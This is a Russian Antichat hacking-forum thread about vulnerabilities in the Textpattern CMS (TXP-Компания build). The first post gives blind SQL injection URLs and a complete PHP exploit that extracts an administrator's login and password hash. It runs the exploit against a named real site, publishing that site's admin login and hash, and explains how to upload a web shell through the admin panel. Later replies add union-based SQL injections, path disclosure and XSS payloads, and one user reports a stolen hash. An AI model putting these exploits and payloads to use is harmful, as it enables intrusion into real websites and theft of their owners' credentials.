ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

CMS Textpattern
  #1  
Старый 05.01.2008, 18:40
Аватар для Grey
Grey
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме:
17668503

Репутация: 5826


По умолчанию CMS Textpattern

CMS Textpattern

Сборка: TXP-Компания - другие продукты не смотрел, возможно эта же уязвимость есть и в них.
Версия: textpattern 4.0.3rev1228ru - возможно и другие версии

Офф сайт: http://textpattern.ru/
Скачать: http://textpattern.ru/faq/gde-mne-skachat-distributiv-cms - дальше выбираем (2. Если Вам нужен движок для сайта фирмы, то можно скачать готовую к использованию TxP-Компанию ;)
Для поиска сайтов с таким двигом: "TXP-Компания" или "Сайт работает под управлением Textpattern" - но тогда есть шанс попасть на другую сборку.

[Слепые инъекции:]

Код:
http://test1.ru/goods/23+and+substring(version(),1,1)=4
http://test1.ru/news/8+and+substring(version(),1,1)=4
http://test1.ru/faq/26+and+substring(version(),1,1)=4
http://test1.ru/about/12+and+substring(version(),1,1)=4
Таблица с пользователями: txp_users - эта таблица БЕЗ префикса
Если есть префикс то таблица выглядит так: [префикс]txp_users
Тип хеша: mysql

[Написал простенький сплоент (работает медленно (минуты 3-20) т.к. посимвольный брут отнимает время):]

Сплоент выдирет логин и хеш пароля пользователя с заданным id.

PHP код:
<?php

//-----------------------------------------------------------------------------
//----Coded-by-Grey------------------------------------------------------------
//-----------------------------------------------------------------------------
//-----------------------------------------------------------------------------
//-----------------------------------------------------------------------------
//----------------------------Данные для редактирования------------------------

$host 'test.ru'// Хост. Сайт без http:// и без / на конце, к примеру test.ru
$port '80'// Порт.
$dir '/'// Директория где расположен сайт, если сайт расположен в корневом каталоге сайта, то оставить /, к примеру если директория dvig, то вписать /dvig/
$new_id '8'// id (номер) существующей новости

$user_id '1'// id пользователя чьи логин и хеш пароля нужно выдрать
$pref ''// Дополнительный префикс таблиц. Обычно его нету.

//-------Дальше не редактировать-----------------------------------------------
//-----------------------------------------------------------------------------
//-----------------------------------------------------------------------------
//-----------------------------------------------------------------------------

//-------Строка содержащая ошибку

$strerror '404 Not Found';

//-------

//-------Формирование пути

$path $dir.'news/'.$new_id;
echo(
"Put: $path\r\n");

//-------

//-------Описание функций

function func_error ($host,$port,$strerror,$path)
{
$s fsockopen($host,$port) or die ("Oshibka: ne udaetsy soedinitsy s hostom");
$headers "GET $path HTTP/1.1\r\nHost: $host\r\nConnection: close\r\n\r\n";
fputs($s$headers);
$func_error 0;
while(!
feof($s))
{
if(
stristr(fgets($s), $strerror) == true)
{
$func_error 1;
break;
}
}
fclose($s);
return 
$func_error;
}

function 
func_zamena ($n)
{
if(
$n == 1) { $n2 48; }
if(
$n == 2) { $n2 49; }
if(
$n == 3) { $n2 50; }
if(
$n == 4) { $n2 51; }
if(
$n == 5) { $n2 52; }
if(
$n == 6) { $n2 53; }
if(
$n == 7) { $n2 54; }
if(
$n == 8) { $n2 55; }
if(
$n == 9) { $n2 56; }
if(
$n == 10) { $n2 57; }
if(
$n == 11) { $n2 97; }
if(
$n == 12) { $n2 98; }
if(
$n == 13) { $n2 99; }
if(
$n == 14) { $n2 100; }
if(
$n == 15) { $n2 101; }
if(
$n == 16) { $n2 102; }
return 
$n2;
}

//-------

//-------Определение версии БД

$path2 $path.'+and+substring(version(),1,1)=3';
if(
func_error($host,$port,$strerror,$path2) == 0)
{
$version_3 1;
}
else
{
$version_3 0;
}

$path2 $path.'+and+substring(version(),1,1)=4';
if(
func_error($host,$port,$strerror,$path2) == 0)
{
$version_4 1;
}
else
{
$version_4 0;
}

$path2 $path.'+and+substring(version(),1,1)=5';
if(
func_error($host,$port,$strerror,$path2) == 0)
{
$version_5 1;
}
else
{
$version_5 0;
}

if((
$version_3 == 1) and ($version_4 == 0) and ($version_5 == 0))
{
echo(
"Versia BD: 3\r\n");
echo(
"Dalneishaia rabota ne vozmojna\r\n");
}

if((
$version_3 == 0) and ($version_4 == 1) and ($version_5 == 0))
{
echo(
"Versia BD: 4\r\n");
}

if((
$version_3 == 0) and ($version_4 == 0) and ($version_5 == 1))
{
echo(
"Versia BD: 5\r\n");
}

if((
$version_3 == 1) and ($version_4 == 1) and ($version_5 == 1))
{
echo(
"Oshibka: versia BD ne opredelena");
echo(
"Dalneishaia rabota ne vozmojna\r\n");
}

//-------

//-------Определение длинны логина и хеша пароля, получение логина и хеша пароля

if(($version_3 == 1) and ($version_4 == 0) and ($version_5 == 0))
{
exit();
}

if((
$version_4 == 1) xor ($version_5 == 1))
{

//-------Определение длинны логина

$path2 $path.'+and+length((select+name+from+'.$pref.'txp_users+where+user_id='.$user_id.'))<=20';
if(
func_error($host,$port,$strerror,$path2) == 0)
{
$f_dlina 1;
}
else
{
$f_dlina 0;
}

if(
$f_dlina == 0)
{
echo(
"Dlina logina bolshe 20 simvolov\r\n");
}
else
{

for(
$i 1$i <= 20$i++)
{
$path2 $path.'+and+length((select+name+from+'.$pref.'txp_users+where+user_id='.$user_id.'))='.$i;
if(
func_error($host,$port,$strerror,$path2) == 0)
{
$dlina $i;
break;
}
}

$dlina_logina $dlina;
echo(
"Dlina logina: $dlina_logina\r\n");

}

//-------

//-------Получение логина

$login '';

for(
$i 1$i <= $dlina_logina$i++)
{

for(
$i3 33$i3 <= 126$i3++)
{
$path2 $path.'+and+ascii(substring(((select+name+from+'.$pref.'txp_users+where+user_id='.$user_id.')),'.$i.',1))='.$i3;
if(
func_error($host,$port,$strerror,$path2) == 0)
{
$simvol $i3;
break;
}
}

$login $login.chr($simvol);

}

echo(
"Login: $login\r\n");


//-------

//-------Определение длинны пароля

$path2 $path.'+and+((length((select+pass+from+'.$pref.'txp_users+where+user_id='.$user_id.'))=16)+or+(length((select+pass+from+'.$pref.'txp_users+where+user_id='.$user_id.'))=40))';
if(
func_error($host,$port,$strerror,$path2) == 0)
{
$f_dlina 1;
}
else
{
$f_dlina 0;
}

if(
$f_dlina == 0)
{
echo(
"Dlina parolya ne opredelena\r\n");
}
else
{

$path2 $path.'+and+length((select+pass+from+'.$pref.'txp_users+where+user_id='.$user_id.'))=16';
if(
func_error($host,$port,$strerror,$path2) == 0)
{
$dlina_parolya 16;
}
else
{
$dlina_parolya 40;
}

echo(
"Dlina parolya: $dlina_parolya\r\n");

}

//-------

$password '';

for(
$i 1$i <= $dlina_parolya$i++)
{

for(
$i3 1$i3 <= 16$i3++)
{
$path2 $path.'+and+ascii(lower(substring(((select+pass+from+'.$pref.'txp_users+where+user_id='.$user_id.')),'.$i.',1)))='.func_zamena($i3);
if(
func_error($host,$port,$strerror,$path2) == 0)
{
$simvol func_zamena($i3);
break;
}
}

$password $password.chr($simvol);

}

echo(
"Pass hash: $password\r\n");

}

//-------

?>
[Как юзать сплоент:]

Отредактировать данные и юзать:

c:\php\php.exe c:\sploit.php

Для примера сайт:

http://pek.zp.ua

Вписываем в сплоент следующие:

PHP код:
$host 'pek.zp.ua';
$port '80'
$dir '/';
$new_id '8';
$user_id '1';
$pref ''
И получаем:

Put: /news/8
Versia BD: 4
Dlina logina: 7
Login: alexpek
Dlina parolya: 16
Pass hash: 68adf6224f57b299

[Заливка шелла:]

В админке (/textpattern/):

1) Выбираем Настройки - Плагины - а дальше правим код (php) и получаем на соответствующей странице шелл.
2) Содежрание - Файлы, заливаем шелл, шелл будет доступен по адресу:

/files/shell.php
Вложения
Тип файла: rar sploit.rar (1.5 Кб, 20 просмотров)

Последний раз редактировалось Grey; 05.01.2008 в 20:17..
 
Ответить с цитированием

  #2  
Старый 04.01.2009, 14:18
Аватар для citycat
citycat
Новичок
Регистрация: 03.01.2009
Сообщений: 8
Провел на форуме:
26875

Репутация: 0
По умолчанию

Спасибо за способ. Хэш достал.
Теперь не подскажете как этот хэш расшифровать?

Это получается MySQL хэш?

Grey: подскажу, но вообще поиск юзать нужно.
Почитай тему: https://forum.antichat.ru/thread26983.html
Потом запость свой хеш в соответствующую тему: https://forum.antichat.ru/forum76.html - там тебе с ним помогут, + в том разделе есть специальная тема для вопросов.

Последний раз редактировалось citycat; 04.01.2009 в 16:07..
 
Ответить с цитированием

  #3  
Старый 01.04.2009, 23:18
Аватар для Велемир
Велемир
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме:
1469161

Репутация: 142


Отправить сообщение для Велемир с помощью ICQ
По умолчанию

Выдаёт чет eval`d code =_=.Как с этим бороться ?
 
Ответить с цитированием

  #4  
Старый 17.03.2010, 15:42
Аватар для _iks_
_iks_
Познающий
Регистрация: 21.02.2009
Сообщений: 54
Провел на форуме:
1224548

Репутация: 134
По умолчанию

Эх, увидел CMS до этой темы, всё уже найдено. (

Впрочем, вот что ещё можно добавить к сказанному выше:
SQL-иньекция(обычная)
http://pek.zp.ua/atom/?id=-1+union+select+version%28%29

Вывод в заголовке
SQL-иньекции в админке:

Код:
http://txtpattern/textpattern/index.php?event=article&step=edit&ID=-4+union+select+1,2,3,4,5,6,7,8,9,version%28%29,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38
Код:
http://txtpattern/textpattern/index.php?event=link&step=link_edit&id=-2+union+select+1,2,3,4,5,6,7
Код:
http://txtpattern/textpattern/index.php?event=category&step=cat_article_edit&id=-5+union+select+1,2,3,4,5,6,7
Раскрытие путей:
http://pek.zp.ua/?q[]=

Также максимально подробная информация о сайте доступна из админской панели
../textpattern/index.php?event=diag
Ну и несколько XSS-ок для админа:

(все в админской панели)

Код:
http://txtpattern/textpattern/index.php?event=log&step=list&page=2%22%3E%3CsCript%3Eprompt%28%27%27%29;%3C/sCript%3E
Код:
http://txtpattern/textpattern/index.php?event=tag&name=image&id=1%27&ext=.gif&alt=&h=1&w=400%22%3C/textarea%3E%3E%3CscRipt%3Eprompt%28%27%27%29;%3C/sCript%3E&type=xhtml
Код:
http://txtpattern/textpattern/index.php?event=page&name=%3Cscript%3Eprompt%28%27%27%29;%3C/sCript%3E
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
CMS vs "изготовление на коленках" vadim_samoilov Чужие Статьи 8 19.08.2008 02:10
Kasseler CMS 1.0.0 Lite vadim399 PHP, PERL, MySQL, JavaScript 1 31.12.2007 03:30
Добавление скрытого пользователя в Koobi CMS 5.1.1 otmorozok428 Сценарии/CMF/СMS 8 11.12.2007 18:37
Faq по проектированию Cms k00p3r Обсуждение Ваших сайтов 0 09.08.2005 09:49



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ